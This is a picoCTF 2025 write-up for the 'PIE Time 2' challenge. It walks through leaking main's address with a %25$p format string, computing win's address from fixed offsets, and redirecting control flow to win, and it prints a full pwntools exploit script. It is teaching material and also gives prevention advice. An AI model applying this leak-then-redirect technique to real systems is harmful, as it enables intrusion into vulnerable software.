PIE TIME 2 picoCTF 2025 Solution

Published: April 2, 2025

Description

PIE Time 2 removes the helpful address leak from the first challenge. The binary still has a win function, but now you must find the address yourself using a format string vulnerability.

Download both the binary and source to understand the control flow.

Confirm with checksec that PIE is enabled (so win's address randomizes per run) and note the program prints your name back via printf(buffer) - a format string vulnerability.

Set up pwntools locally before attacking the remote instance.

bash
wget https://challenge-files.picoctf.net/c_rescued_float/74f33240f15875af51d0e48c03a106729349634e18de5b7654105cb37d2e34cc/vuln.c
bash
wget https://challenge-files.picoctf.net/c_rescued_float/74f33240f15875af51d0e48c03a106729349634e18de5b7654105cb37d2e34cc/vuln
bash
chmod +x vuln
bash
checksec --file=./vuln
bash
objdump -d vuln | grep -E '<win>:|<main>:'

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
The Format String guide covers %n$p stack-slot probing in detail, and the ASLR / PIE Bypass guide walks through the leak-then-redirect pattern this exploit uses.
  1. Step 1
    Identify the format string vulnerability
    Observation
    I noticed the source code passes the input buffer directly to printf(buffer) with no format string argument, and checksec confirmed PIE is enabled with no free address leak, which suggested using %N$p format specifiers to probe stack slots and find a code-segment pointer I could use to defeat ASLR.
    The binary reads your name into a buffer and prints it back with printf(buffer) - a classic format string bug. Sending %p specifiers leaks raw stack values as hex pointers. A long %N$p chain typically prints something like libc, then a stack canary, then a few return addresses. The slot whose value matches 0x55555555xxxx (PIE base prefix on x86-64 Linux) is main's saved return address - in this binary, that's stack position 25.
    python
    python3 -c "print('%1$p.%2$p.%3$p.%4$p.%5$p')" | ./vuln
    bash
    # Probe positions to find the code pointer (look for 0x55... values):
    python3 -c "print('.'.join(f'%{i}$p' for i in range(1, 35)))" | ./vuln
    
    # In a different binary, the position-of-main slot is whichever one
    # matches a known runtime address (e.g., compare against `ldd ./vuln`
    # output for a libc address, or against the binary base from /proc/<pid>/maps).
    What didn't work first

    Tried: Send %s instead of %p to read stack values and look for code pointers.

    %s tells printf to dereference the stack value as a char pointer and print a string, so if the value is not a valid readable address the process will segfault immediately. %p is correct because it prints the raw numeric value of the pointer without dereferencing anything, making it safe to probe every stack slot.

    Tried: Stop probing after the first 0x55... address and assume that slot is main's return address.

    The first 0x55... value you see is often inside a libc or loader frame that also maps near the binary base, not main's saved return address specifically. You need to correlate the leaked address against objdump's static addresses (main_static = 0x13f2 in this binary) by checking that leaked - base == expected_offset. Grabbing the wrong slot yields a leak that is systematically off by a fixed constant and causes win_addr to land in the middle of an instruction.

    Learn more

    A format string vulnerability occurs when user-controlled input is passed directly as the format string to printf (i.e. printf(buf) instead of printf("%s", buf)). The %p specifier tells printf to print the next variadic argument as a hex pointer. Since no arguments were actually passed, printf reads values off the stack - effectively leaking whatever is at each stack position.

    The direct parameter access syntax %n$p selects the n-th stack slot directly. This lets you probe individual slots cleanly without consuming earlier ones. To identify which slot holds a useful code pointer, send a run of specifiers, capture the output, and look for addresses in the range of the binary's load address (typically starting with 0x55... or 0x56... on Linux when PIE is enabled).

    Despite being a decades-old vulnerability class, format string bugs still appear in production code. The fix is trivial: always pass user input as an argument string rather than as the format itself. Compilers warn about this pattern with -Wformat-security.

  2. Step 2
    Leak main and compute win's address
    Observation
    I noticed the format string probe revealed a 0x55... value at stack slot 25 matching main's runtime address, and since objdump shows win and main have fixed static offsets, I could compute win_runtime = leaked_main + (win_static - main_static) without ever needing the PIE base directly.
    Send %25$p as the name to leak main's runtime address. The static offsets sit in objdump output, so you derive win directly from the leak and ASLR is irrelevant: win_runtime = leaked_main + (win_static - main_static).
    python
    # Verify the static offsets locally:
    objdump -d vuln | grep -E '<win>:|<main>:'
    
    # Sample output:
    #   000000000000135c <win>:
    #   00000000000013f2 <main>:
    
    # Derivation:
    #   main_static = 0x13f2
    #   win_static  = 0x135c
    #   delta = win_static - main_static = -0x96
    #   win_runtime = leaked_main + delta = leaked_main - 0x96
    
    # In your pwntools script:
    p.sendline(b'%25$p')
    main_addr = int(p.recvline().strip(), 16)
    win_addr = main_addr - 0x96
    What didn't work first

    Tried: Compute win's address by subtracting the PIE base from the leaked value, then adding win's static address.

    The PIE base is not directly leaked - you only have main's runtime address. Subtracting main_static from the leak gives the base, then adding win_static gives win_runtime, which is equivalent to leaked_main + (win_static - main_static). However, skipping the base entirely and using delta = win_static - main_static is simpler and avoids an intermediate step where a sign error introduces subtle bugs. Applying the wrong sign (adding 0x96 instead of subtracting) produces an address 0x12c bytes past win that typically lands in garbage.

    Tried: Hardcode the offset -0x96 from one local run and use it unchanged against the remote binary.

    The challenge server may run a different build of vuln than the one you downloaded, and even minor recompilation changes the layout of main. If the remote binary has a different main_static, your hardcoded delta is wrong and the jump target will be a non-executable or mid-instruction address. Always re-derive the delta from the binary you downloaded with objdump, and use the ELF class (elf.symbols['main'] - elf.symbols['win']) to make the script robust to future binary updates.

    Learn more

    A Position Independent Executable (PIE) is loaded at a random base address each run by ASLR. However, the relative offsets between all functions inside the binary are fixed at compile time and never change. If you know the runtime address of any one function, you can compute every other function's address by applying the difference from the symbol table.

    The offset -0x96 means win is compiled 150 bytes before main in the binary layout. Verify this with objdump -D vuln | grep -E "<win>:|<main>:" locally - subtract the two static addresses and you get the constant offset. Because ASLR only randomizes the base address, not the internal layout, this arithmetic is valid for every run of the program.

    In PIE Time 1 the binary printed main's address for you. PIE Time 2 removes that gift, requiring you to extract it via the format string. This is the real-world pattern: you need an information disclosure primitive before you can perform any address-dependent attack. Format strings, puts(got_entry) calls, and partial overwrites are all standard ways to achieve this leak.

  3. Step 3
    Provide the win address and capture the flag
    Observation
    I noticed the program, after printing the name back, prompts for an address to call directly, which meant sending the computed win_addr as a hex string on the same connection would redirect control flow to win and print the flag.
    After reading the name, the program asks for an address to call. Send the computed win_addr as a hex string. The binary jumps to win, which opens and prints the flag file.
    bash
    p.sendline(hex(win_addr).encode())
    bash
    p.recvuntil(b'You won!')
    python
    print(p.recvline().decode())

    Expected output

    picoCTF{p13_5l1c3d_...}
    Learn more

    This exploit chains two primitives: an information disclosure (the format string leak of main's address) followed by a control-flow hijack (providing the computed win address as the jump target). This two-step pattern - leak then redirect - is the foundation of virtually every modern binary exploitation technique against ASLR-protected binaries.

    The full pwntools script is under 10 lines:

    from pwn import *
    p = remote('rescued-float.picoctf.net', <PORT_FROM_INSTANCE>)
    try:
        p.recvuntil(b'name:', timeout=2)
        p.sendline(b'%25$p')
        main_addr = int(p.recvline(timeout=2).strip(), 16)
        win_addr = main_addr - 0x96
        p.sendline(hex(win_addr).encode())
        p.recvuntil(b'You won!\n', timeout=2)
        print(p.recvline(timeout=2).decode())
    except EOFError:
        log.error('connection closed early - try again, the prompt phrasing may differ')

    pwntools is the standard toolkit for CTF binary exploitation. The remote() class makes the same exploit script work against a local process or a remote network service. The ELF class can parse a binary and look up symbol offsets programmatically, which is more robust than hardcoding offsets that might change between challenge revisions: elf = ELF('./vuln'); offset = elf.symbols['main'] - elf.symbols['win'].

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{p13_5l1c3d_...}

Send `%25$p` to leak main, compute win = main - 0x96, then send that address when prompted. Both steps use the same connection.

Key takeaway

Format string vulnerabilities turn a printf call into an information disclosure oracle: each %p specifier reads a stack slot the caller never intended to expose, and a single format-string request can leak return addresses that defeat ASLR. Chaining a format-string leak with a control-flow redirect is the standard two-step for attacking PIE binaries, and the same pattern drives real-world exploits where the disclosure comes from a log message, an error response, or a diagnostic endpoint rather than a deliberately vulnerable program.

How to prevent this

Format string leak + PIE bypass in two requests. Each side of the bug needs its own fix.

  • Kill the format string first: printf("%s", input), never printf(input). Build with -Werror=format-security.
  • Do not accept arbitrary jump targets from untrusted input. The bug here is also that the program reads an address and calls it. Use enums + dispatch tables, not raw void(*)() reads from user input.
  • Layer mitigations: PIE + canaries + RELRO + CFI. Each stops a different exploitation step. CFI (-fsanitize=cfi) specifically blocks indirect calls to non-allowlisted addresses, killing this style of attack outright.

Related reading

Want more picoCTF 2025 writeups?

Tools used in this challenge

What to try next